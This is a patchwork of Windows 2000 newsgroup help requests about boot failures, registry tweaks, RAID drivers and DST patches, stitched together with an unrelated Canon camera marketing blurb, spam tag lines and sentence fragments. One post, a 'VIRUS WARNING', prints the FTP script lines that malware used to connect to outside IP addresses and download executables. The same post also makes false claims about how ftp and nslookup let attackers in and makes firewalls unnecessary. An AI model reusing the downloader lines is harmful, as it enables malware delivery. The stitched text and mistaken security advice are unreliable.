Best procedure/soft for backup of entire drive ?
Hello,
I'm looking for a backup software that would enable me to do the
following in case of hard disk crash:
1/ boot from a CD containing the backup/restore program and
a USB driver,
2/ plug an external USB disk containing the image of my crashed
hard drive,
3/ then find this image from my CD, and restore it to a brand new
internal hard disk.
To sum up: I'm looking for a small software, allowing me to install
it on a CD to boot from, on which I'll put a USB driver as well, to
access an external USB disk containing my backups...
I'd like to be able to backup an entire drive, whatever the
filesystems
(NTFS...) existing on them...
Are there free programs to do that ?
In advance, thanks very much.
Regards,

missing pagefile.sys
On reboot yesterday, the first in some weeks, Windows 2000 5.00.2195 SP4
encountered the subject: error exactly as described in
http://support.microsoft.com/?id=315270
Efforts to follow the remedy stated are meeting difficulties. The pagefile
is indeed defined and of size 800-1000 MB , the computer name is "w2k2." as
it's been since inception several years ago.
The difficulty starts in Step 3-f, as we don't have a "Computer Name" tab in
the System Properties dialog, but it's possible to rationalize using the
"Network Identification" tab instead, as it's the only possibility that
makes sense.
The larger difficulty comes in step 4, as there is no "File menu" from which
to make the subsequent selections.
What are we missing here please? There are a few services which haven't
started due to "Error 5: Access is Denied" problems, and that's what
prompted the reboot in the first place. Things are rather awkward as the
machine is headless; we normally access it using the "VNC server" service,
but that's one of the services that can't start.
Is there any help available please? Tag: Help how to get MS update back to English Tag: 563370
Changing the Windows Explorer View to 'List' from 'icons'
Hello,
Windows 2000 SP4, Windows XP SP2, Windows 2003 AD Domain in Windows 2000 mode.
I've written a script that changes the windows explorer view to 'list'. It
works by writing values to the 'Streams' key in HKCU and seems to work fine
when I run this as an administrator.
However, when I login as a non-administrator, the view is still 'icons'.
I have written a second script to interrogate the registry to verify that
the changes that I made had been written successfully - they had.
Given that the non-administrator user has group policy settings applied to
them, would this be the reason why my registry changes are not taking effect?
As far as I can tell, there is no mention of the 'Streams' key in the ADM
files that are applied to the client/user.
The following policies are applied to Windows Explorer and seem to update
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Do not track shell shortcuts during roaming
Hide these drives in My Computer
Hide Manage on Explorer contect menu
No 'Computers Near Me' in Network Places
No 'Entire Network' in Network Places
Prevent access to these drives in My Computer
Remove DFS, Hardware Tabs
Remove Search
Remove UI to change Keyboard navigation indicator and menu animation settings
Remove Folder Options on tools
Turn on Classic Shell
I have performed a test and updated my scripts to write to the 'Policies'
Key (by adding the user to an administrative group). The results were that
the registry entries were created, but again, no change was made in Windows
Explorer
Also I could not find a policy that defined the Windows Explorer view,
otherwise I would have used that as a method of setting the view for the user.
I've included below the script that modifies the registry - It does a check
for XP or 2000 as we have both clients in our environment.
Any help would be appreicated either in suggesting an alternative method of
changing the explorer view, or suggestions why the registry changes are not
being 'read' or 'applied' by users who have the GPO's applied.
Script: It's an AutoIT script......

*** VIRUS WARNING!!! ***
I have discovered how Spammers are able to access people's Computers to spew
out their Spyware garbage, and it is Microsoft's OS which has made this
possible! Spammers utilize two commands: the "nslookup" Command and the
"ftp" Command found in c:\winnt\system32 -- which you can review in the
Windows Help Menu. Spammers can also use a HTML E-Mail you open on your
Computer while logged onto the Internet to download a Virus. Those E-Mails
you get from friends telling you to forward it on to others, in order to get
good luck or money, are nothing but a SCAM perpetrated by the Spammers!
DELETE those E-Mails -- DO NOT open them!!! Last month after separately
opening two of those E-Mails, I ended up with a Virus on my Computer spewing
out data over the Internet, and also the following two Text Files given the
name "i" under the 'winnt' Directory.
--- \winnt\i
open 136.145.69.79 2755
user 1 1
get kp.exe
quit
--- \winnt\i
open 208.111.5.228 2755
user 1 1
get 2k3.exe
quit
---
The Virus Commands I subsequently found under the 'winnt' or 'system32'
Directories corresponded to the two ".exe" Files named in those two Text
Files. I didn't know where those 4 Command Lines in those "i" Files were
executable until just today when I looked up the "ftp" Command in Help.
Those are 4 sub-commands which caused my Computer to open up the said IP
Address and Port#, log in as the user 1 1, download the Virus Command, and
then quit "ftp". Since I'm a Dial-up user, I immediately noticed something
wrong because this immediately clogged up my Internet Connection. A High
Speed user might not notice anything!
It is unbelievable, but the "ftp" Command enables the Spammer to log onto
your Computer WITHOUT using an ID and Password! Further, "ftp" enables the
Spammer to prevent you from seeing what it is doing on your Computer!!! I'm
not kidding! Further still, the "nslookup" Command enables the Spammer to
find out your IP Numbers and Computer ID so that he can use the "ftp"
Command! It is as if Microsoft specifically designed these two Commands to
help Spammers! As far as I can tell, you cannot disable either of these
Commands. You can rename "ftp.exe" to "ftp.exe.rename" and "nslookup.exe" to
"nslookup.exe.rename" in order to make them non-executable, but I don't think
this will solve the problem. Would a Microsoft Corporation technician please
inform us if these two Command functions can be disabled? If not, Microsoft
needs to IMMEDIATELY provide a Service Pack or update to enable these two
functions to be disabled using the "net stop / start" Command. With these
functions disabled, a Firewall Application becomes completely unnecessary! Tag: Help how to get MS update back to English Tag: 563362

background won't stick
I have read the various posts on this issue but none fits exactly.
Computer is operating on Windows XP connected to a server with full
admin rights to the local machine.
If we change the background it sticks for a while but then changes by
itself and sort of tiles the image, but not exactly. It divides the
large full screen picture and puts the bottom right corner of the
picture in the top left corner of the screen and the top left part of
the picture in the lower right corner of the machine.
For example we put the coffee bean back ground on and it does fine for
a while and later it will have the moon back ground image, divided as
desribed above.

that under any of the tabs.

How do I remove the dual boot option?
I have an old Win98 machine that is being donated to some kids. I wiped the
drive and put a fresh install of Win98 from the original CD. I then
upgraded it to Windows 2000 with the upgrade CD we bought a few years later.
However when I upgraded I had the choice of totally removing W98 or adding
Win2K to Win98. I chose total removal of Win98, and convert to NTFS file
system.
Now when I boot it asks me whether I want to use Microsoft Windows 2000 or
Microsoft Windows.
I didn't want this to be a dual boot machine. There is a Windows folder and
a WINNT folder. How do I remove Windows98 completely (very small hard
drive) and remove the dual boot option at the beginning so it only knows
Windows 2000? Tag: Help how to get MS update back to English Tag: 563330

Windows Service Pack 4 ~ Problems with the Registry
I want to inform Windows 2000 users about problems which Service Pack 4 can
cause. I can state from personal experience that installing Service Pack 4
can screw up some of your previously-installed Software. After installing
SP4, my FaxTalk Modem Software didn't work properly, and using the Windows
procedure to "Remove" and re-install it, didn't solve the problem. The
Windows Remove procedure didn't remove the FaxTalk's contents in the
Registry. Thankfully, the FaxTalk Website provided information to manually
remove it from the Registry, and after doing that it re-installed correctly.
So, if you should have some new problem with a Software Application after
installing SP4, you need to manually remove (including from the Registry) and
re-install the Software. Hopefully that will solve the problem. Tag: Help how to get MS update back to English Tag: 563291

Reinstalling RAID Drivers
Hi all,
I have a Dell PowerEdge 2500 server, which has a PERC 3Di RAID
controller in it, attached to two 36G drives, which are mirrored,
running Windows 2000 SBS.
We have been having problems lately, where one drive has been going
offline - so the other day, we tried to install some of Tools from the
Dell website, for diagnosis - unfortunately, one of them, it would
appear, has somehow deleted or replaced the correct driver - after
restarting (to complete an install of one of the tools), we now get a
STOP Error: INACCESSIBLE_BOOT_DEVICE.
The drives are online at the moment, the array is intact and the data
seems to be on the disk (I've used a boot CD to get in and check the
data) - so I'm thinking this must be a driver issue - especially given
the nature of the stuff we were installing at the time.
So my question: How do I get the correct driver installed if I can't
get into Windows? I have the 2000 SBS install media, so I can run
Recovery Console. I also have a valid, full, NTBACKUP backup of the
system, again if that's any good (I was going to restore System State
- but again, I can't get into Restore Mode because it won't boot).
HELP!

dueal boot - blue and white screen
On ASUS notebook with Windows XP Home attempted to make it dual boot to
install W2K. Before dong any changes I copied original ntldr (245K) and
ntdetect.com(47K).
With Partition Magic created an NTFS primary partition and installed W2K Pro
which went smoothly, and W2K was running OK
XP Home would not start at all because, as I seem to remember, ntldr(211K)
and ntdetect.com(34K) generated by W2K would not load XP, -so I replaced
them with the those of XP Home I copied earlier.
Now after selecting XPHome it produces the screen suggesting several modes
of loading XP Home, but whatever mode I select it just restarts the
computer.
I replaced ntldr and ntdetect.com with ntldr(230K) and ntdetect.com(47K)
from my working desktop. The first - booting into XP gave the same result,
i.e. list of loading optioons and restarting the computer.
But now W2K would not start. After shortly flashing that screen of starting
W2K, it produced a blue_and_white screen of some gobbledegook among which
there are english patterns like

cannot delete empty folders, cannot W-update, cannot inplace upgrade
After giving up on the problem deleting recently emptied folders, I
tried to update the W2K installation. This failed with a fairly common
error message EOX..... the details of which I do not have access to
for reasons explained below. None of the MS site suggestions allowed
the windows update to begin.
Assuming the W2K SP4 installation to be corrupt, I attempted to
perform an in-place upgrade, booting from the installation CD with the
correct raid drivers available during start-up. After failing to read
spxcoins.dl_ off the installation disk, or off a subsequent floppy
copy, the inplace upgrade stopped midway during final registry of
devices.
The spxcoins.dl_ is present on the install disk. The installation
program does not display the files name's '.dl_' type, when 'browsing'
for the 'missing' file.
This is repeated for any subsequent attempt to complete the upgrade.
As this is an ntfs installation on a raid device, I have no other
operating systems or hardware to retrieve data off the drive, and no
access to the second boot option WXP on the second raid hard drive,
while the first is non-compos mentis.
When I tried to install a temporary W2K OS in a drive mounted in an
IDE position, I got the same errors. The correct raid drivers are
loaded when booting from the installation CD, via floppy. Booting up
into W2K, I get the message that the install did not complete and a
run through of the same loop of missing .dl_file and stopped device
registry.
Any advice on:
1) completing the in-place upgrade
2) retreiving data
3) getting the temporary functional W2K OS installed on an IDE drive.

protector.) It is this profile to which the computer is booting. For
example, when I first booted up, the desktop was dramatically altered. The
icons for this changed desktop are shown in the Desktop folder under User#2.
If I open Internet Explorer, there are no Favorites in the Favorites folder,
because this folder is empty for User#2.
However, if one goes to the Control Panel, Users and Passwords, this
profile, User#2, does not appear. My question is: how do I get rid of this
profile, if the computer does not show it to exist? When I boot up the
computer, the former user profile name that I have used is shown in the
boot-up window, but the computer does not boot up to this profile.
I suppose that I could try to trick the computer by copying all of the files
and folders, shown under the former profile name, into the User#2 profile.
However, is there a risk if I delete the old profile name from the system
after doing that? If the User#2 profile does not show up now under Users
and Passwords, might not the computer boot up at all (except possibly to the
Administrator profile)?
Fun and games...

CDO.dll version 6.0.6603.0
I am having an issue with my Blackberry users. When they enter an appointment
in their BB, it shows up in Outlook with the Start Time an hour later than
what they created and what shows on the BB. I successfully installed all the
DST2007 patches back in March 2007 and had no issues. However, I had an issue
with my Exchange 2000 server 3 weeks ago, and it was solved by applying the
latest Exchange SP3 update rollup, KB870540, which set my cdo.dll at version
6.0.6603.0. I applied this patch to my BB server too, since it had the
Exchange System Manager. This seems to be when users started noticing the
issue of the calendar appointments with mismatched start times.
RIM support, which exhaustively checked my BES server and found it in
perfect working order, tells me that the cdo.dll version I now have somehow
does not "include" the DST patch, and must be repaired! However, when I check
my registry on the Exchange and BES servers (both Windows server 2000 SP4, I
know I know, get it updated), it shows the DynamicDST subkey under the
TimeZone Key, which I'm told is the definitive test of whether the DST patch
has been applied.Also, my servers have always shown the correct time, and
still do now.
So my question is, does the KB870540 update somehow disable the DST patch?
Is there an established procedure for reapplying the DST after applying the
KB870540 update?
Thanks. Tag: Help how to get MS update back to English Tag: 563151
winsxs folder?
Re: W2K Pro (SP4) - can I delete the winsxs folder
My WINNT folder tree contains a 'winsxs' folder that's 8.8MB & created Sept.
2007. I found it doing some cleanup. Some Google searches indicate that
winsxs has some relevance to WinXP and Vista functions only - & as a dll
file backup. Other Google hits refer to developmental project functions.
Many Google hits represent inquiries like this one but no threads seem to
offer solutions.
Most references to winsxs seem too technical to be intended for the average
home user regardless of such user's expertise. I found no relevant
references on the Microsoft Knowledge base.
I am very curious how this apparent deadwood folder got installed on my W2K
PC (my guess would be by a Windows update) but I'm more concerned about how
to safely get rid of it. I'd appreciate this forum's advice.

Original version of Windows 2000 Pro has re-appeared
When I booted up my computer this am, the original version of Windows 2000
Pro appeared (without any of the updates religiously made over the years).
There was no internet connection, but all of the My Documents/Program Files
folders were intact.
I have a backup copy of my hard drive. Can I simply restore the WINNT
folder, overwriting existing files that are not shared, and reboot?
This is strange...

Win 2K Pro Partition Size
What size partition should I make on an 80 Gig HDD for Win 2K pro
operating system? I'm thinking about 25 gig for the OS & the rest for
data. I want to keep the os partition a small as possible without
interfering with the os. Also how big should the page file be? I have
a Packard-Bell Easynote Laptop F0336-V-089 with Intel Celeron MCU 440
@ 1.86 GHZ processor with 2 gig of memory. I want this machine to be
as efficient as possible with no extra bells @ whistles. Any
suggestions to achieve this will be appreciated.

computer hangs after setup
I decided to make a disk partition so I decided for a fresh setup.
"Press any key to boot from CD....." Enter
Partition OK
Format OK
Copying files OK
After Setup copied w2k files
Initialize Windows OK
Setup reboots
then again "Press any key to boot from CD....." Didn't press any key.
Computer hangs.
Motherboard is ASRock 775i65G. BIOS 3.20. Pentium IV 3GHZ, 1GB RAM.
Bios setup seems to be OK. Two SATA disks (Seagate 80 GB & Samsung
200GB) are recognized and formatted okay.
Run out of ideas. Any help?

Win2k stalls on boot up...
Lately, my computer has been having problems booting up.
It will go through displaying the BIOS screen, but then before the Windows
screen comes up, I just get a flashing curser at the top left corner.
I'll power it down & try again, but sometimes it takes several tries before
ir boots up.
Any suggestions?

Did MS release a time zone update in the past?
Hello!
I turned on an old Dell machine yesterday, using Windows 2000 SP4. I
noticed that it was an hour behind. Did I miss an update from MS to fix
this time zone issue since I am in pacific time zone? Or did MS never
release one like for XP? It should had changed automatically as of last
Sunday.
Thank you in advance. :)

I can´t get it back again, despite going to the Control Panel -> Mouse and
toggled the setting for the wheel to "Enter" and then back to "DoubleClick".
Can anybody please give me a clue what´s going on?
It can´t be the mouse, as I have two computers connected with a KVM switch,

Manufacturer Description
Professional photographers know what they want in a camera. Above all,
the camera must be dependable -- able to come through in shooting
situations that are far less than ideal... even in harsh environmental
and handling conditions. The camera must be responsive -- reacting
instantly to the photographer's input... able to capture, within a
heartbeat, the image in the mind's eye. It must provide a
sophisticated feature set that makes it versatile and adaptable and,
yet, does not compromise operability. And, of course, it must deliver
image quality beyond reproach -- which, in the digital era, means not
only virtually noise-free detail, richness of color, and depth of
tone, but also sufficient data density to satisfy the widest range of
output applications. Today, there is one digital single-lens-reflex
(DSLR) camera that meets these criteria as no other: the Canon EOS-1D
Mark III. Redesigned and re-engineered from the ground up, Canon's
newest flagship EOS is destined to become the next "must have" DSLR
for professionals.
EOS 1D Mark III Highlights
New 10.1-megapixel CMOS sensor Excellence in digital photography
starts at the imaging sensor. Canon's uniquely advanced in-house
sensor design and manufacturing capabilities are a major reason why
EOS Digital SLR cameras consistently deliver state-of-the-art imaging
performance.
The EOS-1D Mark III features a newly developed 10.1 megapixel Canon
CMOS sensor. It fulfills the primary functions of an imaging sensor --
sensitive, accurate, extremely low noise capture of image data -- with
unprecedented competence. Its APS-H size sensor results in a 1.3 lens
conversion factor, a format that EOS-1D series photographers are
familiar with. Moreover, it incorporates Canon's latest CMOS
engineering advances that significantly reduce digital noise --
especially in shadow areas -- and expand the useful ISO range.
Exceptionally wide ISO range Combining the superb image capture
capabilities of the new sensor with advanced Dual DIGIC III Image
Processors, the EOS-1D Mark III offers the widest ISO range of any
digital SLR in the world (as of February 2007). The standard range of
100 - 3200 can be extended to a remarkable 50 - 6400.* More
importantly, the low-noise performance at high ISO settings makes the
entire range usable in real-world shooting situations. * Standard
output sensitivity. Recommended exposure index.
14-bit A/D converters Whereas earlier EOS digital cameras used 12-bit
A/D (Analog-to-Digital) converters, the EOS-1D Mark III employs new 14-
bit converters to process the output of the imaging sensor. This
ensures smoother tonal transitions and more natural gradations. RAW
images are recorded at 14 bits so that the full range of tones
captured by the sensor are available in 16-bit TIFF images Tag: Help how to get MS update back to English Tag: 563046
PartitionMagic A.K.A. PartitionTragic
I had the very bad idea to install two OS's with the help of
PartitionMagic on my Windows 2000.
I copied my data to a 200GB SATA disk and partitioned the original 80GB
disk SATA 2 x 40GB.
After installing W2000 the nightmare started. I only have one OS
installed (Windows 2000 Professional), however while booting it ask to
select 1. Windows 2000 Professional and 2. Windows 2000 Professional!!
Yes twice! Besides W2000 is terribly slow.
I tried to delete the 80GB partitions and start all over again, but it
doesn´t work. Still the PartitionMagic stuff remains in the disk.
Still asks to select between W2K Pro and W2K Pro and the computer is
slow as hell.
Question: What should I do to delete PartitionMagic for good?
